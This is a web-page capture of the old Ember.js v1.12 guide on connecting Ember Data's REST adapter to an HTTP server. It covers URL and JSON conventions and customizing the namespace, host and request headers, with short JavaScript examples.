7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Connecting to an HTTP Server - Models - Ember Guides</title> <meta name="description" content="If your Ember application needs to load JSON data from an HTTP server, this guide will walk you through the process of configuring Ember Data to load records in whatever format your server returns. The store uses an object called an adapter to know how to..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Connecting to an HTTP Server - Models - Ember Guides"> <!----> <meta property="og:description" content="If your Ember application needs to load JSON data from an HTTP server, this guide will walk you through the process of configuring Ember Data to load records in whatever format your server returns. The store uses an object called an adapter to know how to..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Connecting to an HTTP Server - Models - Ember Guides"> <!----> <meta name="twitter:description" content="If your Ember application needs to load JSON data from an HTTP server, this guide will walk you through the process of configuring Ember Data to load records in whatever format your server returns. The store uses an object called an adapter to know how to..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember54675" class="es-header ember-view" role="banner"><div id="ember54676" class="ember-view"><div class="container"> <nav id="ember54677" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember54678" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember54679" class="navbar-collapse collapse ember-view"><ul id="ember54680" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember54681" class="dropdown nav-item ember-view"> <a href="#" id="ember54682" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember54684" class="dropdown nav-item ember-view"> <a href="#" id="ember54685" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember54687" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember54688" class="dropdown nav-item ember-view"> <a href="#" id="ember54689" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember54691" class="dropdown nav-item ember-view"> <a href="#" id="ember54692" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember54694" class="nav navbar-nav ember-view"> <form> <div id="ember54695" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember54696" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember54697" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember54698" class="ember-basic-dropdown ember-view"> <div aria-label="v1.12.0" aria-owns="ember-basic-dropdown-content-ember54698" tabindex="0" data-ebd-id="ember54698-trigger" role="button" id="ember54699" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 1.12 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember54698" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember54703" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember54706" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/getting-started" id="ember54707" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember54708" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54710" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/concepts" id="ember54711" class="cp-Panel-toggle ember-view"> Concepts </a> <div id="ember54712" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54714" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/object-model" id="ember54715" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember54716" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54718" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/application" id="ember54719" class="cp-Panel-toggle ember-view"> Application </a> <div id="ember54720" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54722" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/templates" id="ember54723" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember54724" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54726" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/routing" id="ember54727" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember54728" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54730" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/components" id="ember54731" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember54732" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54734" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/controllers" id="ember54735" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember54736" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54738" class="cp-Panel cp-is-open ember-view"><a href="/v1.12.0/models" id="ember54739" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember54740" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember54741" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/index" id="ember54743" class="ember-view"> Introduction </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/defining-models" id="ember54745" class="ember-view"> Defining Models </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/creating-and-deleting-records" id="ember54747" class="ember-view"> Creating and Deleting Records </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/pushing-records-into-the-store" id="ember54749" class="ember-view"> Pushing Records into the Store </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/persisting-records" id="ember54751" class="ember-view"> Persisting Records </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/finding-records" id="ember54753" class="ember-view"> Finding Records </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/working-with-records" id="ember54755" class="ember-view"> Working with Records </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/the-rest-adapter" id="ember54757" class="ember-view"> The Rest Adapter </a> </li> <li class="toc-link toc-level-1 selected"> <a href="/v1.12.0/models/connecting-to-an-http-server" id="ember54759" class="selected ember-view"> Connecting to an HTTP Server </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/handling-metadata" id="ember54761" class="ember-view"> Handling Metadata </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/customizing-adapters" id="ember54763" class="ember-view"> Customizing Adapters </a> </li> <li class="toc-link toc-level-1 "> <a href="/v1.12.0/models/frequently-asked-questions" id="ember54765" class="ember-view"> Frequently Asked Questions </a> </li> </ol> </div> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54767" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/views" id="ember54768" class="cp-Panel-toggle ember-view"> Views </a> <div id="ember54769" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54771" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/enumerables" id="ember54772" class="cp-Panel-toggle ember-view"> Enumerables </a> <div id="ember54773" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54775" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/testing" id="ember54776" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember54777" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54779" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/configuring-ember" id="ember54780" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember54781" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54783" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/ember-inspector" id="ember54784" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember54785" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54787" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/cookbook" id="ember54788" class="cp-Panel-toggle ember-view"> Cookbook </a> <div id="ember54789" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54791" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/understanding-ember" id="ember54792" class="cp-Panel-toggle ember-view"> Understanding Ember.js </a> <div id="ember54793" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember54795" class="cp-Panel cp-is-closed ember-view"><a href="/v1.12.0/contributing" id="ember54796" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember54797" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember54798" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v1.12.0. <a href="/release/models/connecting-to-an-http-server" id="ember54799" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v1.12.0/models/connecting-to-an-http-server.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Connecting to an HTTP Server </h1> <hr> <div id="ember54800" class="ember-view"><p>If your Ember application needs to load JSON data from an HTTP server, this guide will walk you through the process of configuring Ember Data to load records in whatever format your server returns.</p> <p>The store uses an object called an <em>adapter</em> to know how to communicate over the network. By default, the store will use <code>DS.RESTAdapter</code>, an adapter that communicates with an HTTP server by transmitting JSON via XHR.</p> <p>This guide is divided into two sections. The first section covers what the default behavior of the adapter is, including what URLs it will request records from and what format it expects the JSON to be in.</p> <p>The second section covers how to override these default settings to customize things like which URLs data is requested from and how the JSON data is structured.</p> <h3 id="toc_url-conventions">URL Conventions</h3> <section aria-labelledby="toc_url-conventions"> <p>The REST adapter uses the name of the model to determine what URL to send JSON to.</p> <p>For example, if you ask for a <code>photo</code> record by ID:</p> <pre><code class="javascript language-javascript"data-filename=app/routes/photo.js>export default Ember.Route.extend({ model: function(params) { return this.store.find('photo', params.photo_id); } }); </code></pre> <p>The REST adapter will automatically send a <code>GET</code> request to <code>/photos/1</code>.</p> <p>The actions you can take on a record map onto the following URLs in the REST adapter:</p> <table> <thead> <tr><th>Action</th><th>HTTP Verb</th><th>URL</th></tr> </thead> <tbody> <tr><th>Find</th><td>GET</td><td>/photos/123</td></tr> <tr><th>Find All</th><td>GET</td><td>/photos</td></tr> <tr><th>Update</th><td>PUT</td><td>/photos/123</td></tr> <tr><th>Create</th><td>POST</td><td>/photos</td></tr> <tr><th>Delete</th><td>DELETE</td><td>/photos/123</td></tr> </tbody> </table> </section> <h3 id="toc_json-conventions">JSON Conventions</h3> <section aria-labelledby="toc_json-conventions"> <p>Given the following models:</p> <pre><code class="javascript language-javascript"data-filename=app/models/post.js>import DS from 'ember-data'; export default DS.Model.extend({ title: DS.attr(), comments: DS.hasMany('comment'), user: DS.belongsTo('user') }); </code></pre> <pre><code class="javascript language-javascript"data-filename=app/models/comment.js>import DS from 'ember-data'; App.Comment = DS.Model.extend({ body: DS.attr() }); </code></pre> <p>Ember Data expects that a <code>GET</code> request to <code>/posts/1</code> would return the JSON in the following format:</p> <pre><code class="javascript language-javascript">{ "post": { "id": 1, "title": "Rails is omakase", "comments": ["1", "2"], "user" : "dhh" }, "comments": [{ "id": "1", "body": "Rails is unagi" }, { "id": "2", "body": "Omakase O_o" }] } </code></pre> <p>To quickly prototype a model and see the expected JSON, try using the <a href="http://andycrum.github.io/ember-data-model-maker/">Ember Data Model Maker</a> by Andy Crum.</p> </section> <h3 id="toc_customizing-the-adapter">Customizing the Adapter</h3> <section aria-labelledby="toc_customizing-the-adapter"> <p>To customize the REST adapter, create a <code>app/adapters/application.js</code> file and export a subclass of <code>DS.RESTAdapter</code>. You can then override its properties and methods to customize how records are retrieved and saved.</p> <pre><code class="javascript language-javascript"data-filename=app/adapters/application.js>export default DS.RESTAdapter.extend({ ... }); </code></pre> </section> <h4 id="toc_customizing-a-specific-model">Customizing a Specific Model</h4> <section aria-labelledby="toc_customizing-a-specific-model"> <p>It's entirely possible that you need to define options for just one model instead of an application-wide customization. In that case, you can create an adapter named after the model you are specifying:</p> <pre><code class="javascript language-javascript"data-filename=app/adapters/post.js>export default DS.RESTAdapter.extend({ namespace: 'api/v2', host: 'https://api.example2.com' }); </code></pre> <pre><code class="javascript language-javascript"data-filename=app/adapters/photo.js>export default DS.RESTAdapter.extend({ namespace: 'api/v1', host: 'https://api.example.com' }); </code></pre> <p>This allows you to easily connect to multiple API versions simultaneously or interact with different domains on a per model basis.</p> </section> <h3 id="toc_customizing-urls">Customizing URLs</h3> <section aria-labelledby="toc_customizing-urls"> </section> <h4 id="toc_url-prefix">URL Prefix</h4> <section aria-labelledby="toc_url-prefix"> <p>If your JSON API lives somewhere other than on the host root, you can set a prefix that will be added to all requests.</p> <p>For example, if you are using a versioned JSON API, a request for a particular person might go to <code>/api/v1/people/1</code>.</p> <p>In that case, set <code>namespace</code> property to <code>api/v1</code>.</p> <pre><code class="javascript language-javascript"data-filename=app/adapters/application.js>export default DS.RESTAdapter.extend({ namespace: 'api/v1' }); </code></pre> <p>Requests for a <code>person</code> with ID <code>1</code> would now go to <code>/api/v1/people/1</code>.</p> </section> <h4 id="toc_url-host">URL Host</h4> <section aria-labelledby="toc_url-host"> <p>If your JSON API runs on a different domain than the one serving your Ember app, you can change the host used to make HTTP requests.</p> <p>Note that in order for this to work, you will need to be using a browser that supports <a href="http://www.html5rocks.com/en/tutorials/cors/">CORS</a>, and your server will need to be configured to send the correct CORS headers.</p> <p>To change the host that requests are sent to, set the <code>host</code> property:</p> <pre><code class="javascript language-javascript"data-filename=app/adapters/application.js>export default DS.RESTAdapter.extend({ host: 'https://api.example.com' }); </code></pre> <p>Requests for a <code>person</code> with ID <code>1</code> would now target <code>https://api.example.com/people/1</code>.</p> </section> <h4 id="toc_custom-http-headers">Custom HTTP Headers</h4> <section aria-labelledby="toc_custom-http-headers"> <p>Some APIs require HTTP headers, e.g. to provide an API key. Arbitrary headers can be set as key/value pairs on the <code>RESTAdapter</code>'s <code>headers</code> property and Ember Data will send them along with each ajax request.</p> <p>For Example</p> <pre><code class="javascript language-javascript"data-filename=app/adapters/application.js>export default DS.RESTAdapter.extend({ headers: { 'API_KEY': 'secret key', 'ANOTHER_HEADER': 'Some header value' } }); </code></pre> <p>Requests for any resource will include the following HTTP headers.</p> <pre><code class="http language-http">ANOTHER_HEADER: Some header value API_KEY: secret key </code></pre> <!-- eof - needed for pages that end in a code block --> </section> </div> <footer id="ember54801" class="ember-view"> <a href="/v1.12.0/models/the-rest-adapter" id="ember54802" class="previous-guide ember-view">The Rest Adapter</a> <a href="/v1.12.0/models/handling-metadata" id="ember54803" class="next-guide ember-view"> Handling Metadata </a></footer> </article> </main> <footer id="ember54804" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember54805" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember54806" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember54807" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 